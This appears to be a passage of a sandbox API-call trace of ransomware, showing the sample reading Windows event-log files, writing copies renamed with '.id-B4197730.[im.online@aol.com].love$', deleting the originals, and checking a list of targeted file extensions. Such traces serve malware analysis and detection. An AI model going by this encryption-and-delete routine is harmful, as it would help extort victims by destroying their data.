lpOverlapped=0x0) returned 1 [0113.718] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x12e, lpOverlapped=0x0) returned 1 [0113.718] SetEndOfFile (hFile=0x354) returned 1 [0113.719] CloseHandle (hObject=0x354) returned 1 [0114.399] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.399] SetEndOfFile (hFile=0x394) returned 1 [0114.401] CloseHandle (hObject=0x394) returned 1 [0114.401] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0114.401] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0114.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.402] lstrlenW (lpString=".doc") returned 4 [0114.402] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.402] lstrlenW (lpString=".docx") returned 5 [0114.402] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.402] lstrlenW (lpString=".pdf") returned 4 [0114.402] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.402] lstrlenW (lpString=".xls") returned 4 [0114.402] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.402] lstrlenW (lpString=".xlsx") returned 5 [0114.402] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.402] lstrlenW (lpString=".ppt") returned 4 [0114.402] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.402] lstrlenW (lpString=".zip") returned 4 [0114.402] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.402] lstrlenW (lpString=".rar") returned 4 [0114.402] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.402] lstrlenW (lpString=".bz2") returned 4 [0114.402] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.402] lstrlenW (lpString=".7z") returned 3 [0114.402] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.402] lstrlenW (lpString=".dbf") returned 4 [0114.402] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.402] lstrlenW (lpString=".1cd") returned 4 [0114.402] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.403] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.403] lstrlenW (lpString=".jpg") returned 4 [0114.403] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.403] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.403] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.403] lstrlenW (lpString=".doc") returned 4 [0114.403] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.403] lstrlenW (lpString=".docx") returned 5 [0114.403] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.403] lstrlenW (lpString=".pdf") returned 4 [0114.403] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.403] lstrlenW (lpString=".xls") returned 4 [0114.403] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.403] lstrlenW (lpString=".xlsx") returned 5 [0114.403] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.403] lstrlenW (lpString=".ppt") returned 4 [0114.403] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.403] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.403] lstrlenW (lpString=".zip") returned 4 [0114.403] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.403] lstrlenW (lpString=".rar") returned 4 [0114.403] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.403] lstrlenW (lpString=".bz2") returned 4 [0114.403] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.403] lstrlenW (lpString=".7z") returned 3 [0114.403] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.403] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.404] lstrlenW (lpString=".dbf") returned 4 [0114.404] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.404] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.404] lstrlenW (lpString=".1cd") returned 4 [0114.404] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.404] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0114.404] lstrlenW (lpString=".jpg") returned 4 [0114.404] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.404] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0114.404] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56 [0114.404] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0114.404] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0114.404] CloseHandle (hObject=0x394) returned 1 [0114.405] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0114.405] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0114.405] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0114.405] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.405] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.405] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0114.405] GetLastError () returned 0x0 [0114.406] ReadFile (in: hFile=0x394, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0114.410] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0114.412] ReadFile (in: hFile=0x394, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0114.412] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x144, lpOverlapped=0x0) returned 1 [0114.412] SetEndOfFile (hFile=0x354) returned 1 [0114.412] CloseHandle (hObject=0x354) returned 1 [0114.416] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.416] SetEndOfFile (hFile=0x394) returned 1 [0114.417] CloseHandle (hObject=0x394) returned 1 [0114.418] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0114.418] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0114.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.418] lstrlenW (lpString=".doc") returned 4 [0114.418] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.418] lstrlenW (lpString=".docx") returned 5 [0114.418] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.418] lstrlenW (lpString=".pdf") returned 4 [0114.419] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.419] lstrlenW (lpString=".xls") returned 4 [0114.419] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.419] lstrlenW (lpString=".xlsx") returned 5 [0114.419] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.419] lstrlenW (lpString=".ppt") returned 4 [0114.419] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.419] lstrlenW (lpString=".zip") returned 4 [0114.419] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.419] lstrlenW (lpString=".rar") returned 4 [0114.419] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.419] lstrlenW (lpString=".bz2") returned 4 [0114.419] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.419] lstrlenW (lpString=".7z") returned 3 [0114.419] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.419] lstrlenW (lpString=".dbf") returned 4 [0114.419] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.419] lstrlenW (lpString=".1cd") returned 4 [0114.419] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.419] lstrlenW (lpString=".jpg") returned 4 [0114.419] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.420] lstrlenW (lpString=".doc") returned 4 [0114.420] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.420] lstrlenW (lpString=".docx") returned 5 [0114.420] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.420] lstrlenW (lpString=".pdf") returned 4 [0114.420] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.420] lstrlenW (lpString=".xls") returned 4 [0114.420] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.420] lstrlenW (lpString=".xlsx") returned 5 [0114.420] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.420] lstrlenW (lpString=".ppt") returned 4 [0114.420] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.420] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.420] lstrlenW (lpString=".zip") returned 4 [0114.420] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.420] lstrlenW (lpString=".rar") returned 4 [0114.420] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.420] lstrlenW (lpString=".bz2") returned 4 [0114.420] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.420] lstrlenW (lpString=".7z") returned 3 [0114.420] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.420] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.420] lstrlenW (lpString=".dbf") returned 4 [0114.420] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.420] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.420] lstrlenW (lpString=".1cd") returned 4 [0114.420] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.420] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0114.421] lstrlenW (lpString=".jpg") returned 4 [0114.421] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.421] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0114.421] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46 [0114.421] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0114.421] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0114.421] CloseHandle (hObject=0x394) returned 1 [0114.421] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0114.421] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0114.422] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0114.422] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.422] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.422] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0114.422] GetLastError () returned 0x0 [0114.422] ReadFile (in: hFile=0x394, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0114.426] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0114.429] ReadFile (in: hFile=0x394, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0114.429] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x130, lpOverlapped=0x0) returned 1 [0114.429] SetEndOfFile (hFile=0x354) returned 1 [0114.429] CloseHandle (hObject=0x354) returned 1 [0114.433] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.433] SetEndOfFile (hFile=0x394) returned 1 [0114.434] CloseHandle (hObject=0x394) returned 1 [0114.434] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0114.435] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0114.435] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.435] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.435] lstrlenW (lpString=".doc") returned 4 [0114.435] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.435] lstrlenW (lpString=".docx") returned 5 [0114.435] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.435] lstrlenW (lpString=".pdf") returned 4 [0114.435] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.435] lstrlenW (lpString=".xls") returned 4 [0114.435] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.435] lstrlenW (lpString=".xlsx") returned 5 [0114.435] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.435] lstrlenW (lpString=".ppt") returned 4 [0114.435] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.435] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.435] lstrlenW (lpString=".zip") returned 4 [0114.435] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.435] lstrlenW (lpString=".rar") returned 4 [0114.436] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.436] lstrlenW (lpString=".bz2") returned 4 [0114.436] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.436] lstrlenW (lpString=".7z") returned 3 [0114.436] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.436] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.436] lstrlenW (lpString=".dbf") returned 4 [0114.436] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.436] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.436] lstrlenW (lpString=".1cd") returned 4 [0114.436] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.436] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.436] lstrlenW (lpString=".jpg") returned 4 [0114.436] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.436] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.436] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.436] lstrlenW (lpString=".doc") returned 4 [0114.436] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.436] lstrlenW (lpString=".docx") returned 5 [0114.436] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.436] lstrlenW (lpString=".pdf") returned 4 [0114.436] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.436] lstrlenW (lpString=".xls") returned 4 [0114.436] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.436] lstrlenW (lpString=".xlsx") returned 5 [0114.436] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.436] lstrlenW (lpString=".ppt") returned 4 [0114.436] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.437] lstrlenW (lpString=".zip") returned 4 [0114.437] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.437] lstrlenW (lpString=".rar") returned 4 [0114.437] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.437] lstrlenW (lpString=".bz2") returned 4 [0114.437] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.437] lstrlenW (lpString=".7z") returned 3 [0114.437] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.437] lstrlenW (lpString=".dbf") returned 4 [0114.437] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.437] lstrlenW (lpString=".1cd") returned 4 [0114.437] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.437] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0114.437] lstrlenW (lpString=".jpg") returned 4 [0114.437] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.437] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0114.437] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42 [0114.437] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0114.438] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0114.438] CloseHandle (hObject=0x394) returned 1 [0114.438] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0114.438] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0114.438] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0114.438] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.438] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.438] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0114.439] GetLastError () returned 0x0 [0114.439] ReadFile (in: hFile=0x394, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0114.955] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0114.958] ReadFile (in: hFile=0x394, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0114.958] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x128, lpOverlapped=0x0) returned 1 [0114.958] SetEndOfFile (hFile=0x354) returned 1 [0114.958] CloseHandle (hObject=0x354) returned 1 [0114.965] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.965] SetEndOfFile (hFile=0x394) returned 1 [0114.967] CloseHandle (hObject=0x394) returned 1 [0114.967] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0114.967] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0116.584] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.584] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.584] lstrlenW (lpString=".doc") returned 4 [0116.584] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0116.584] lstrlenW (lpString=".docx") returned 5 [0116.584] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0116.584] lstrlenW (lpString=".pdf") returned 4 [0116.584] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0116.584] lstrlenW (lpString=".xls") returned 4 [0116.584] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0116.584] lstrlenW (lpString=".xlsx") returned 5 [0116.584] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0116.584] 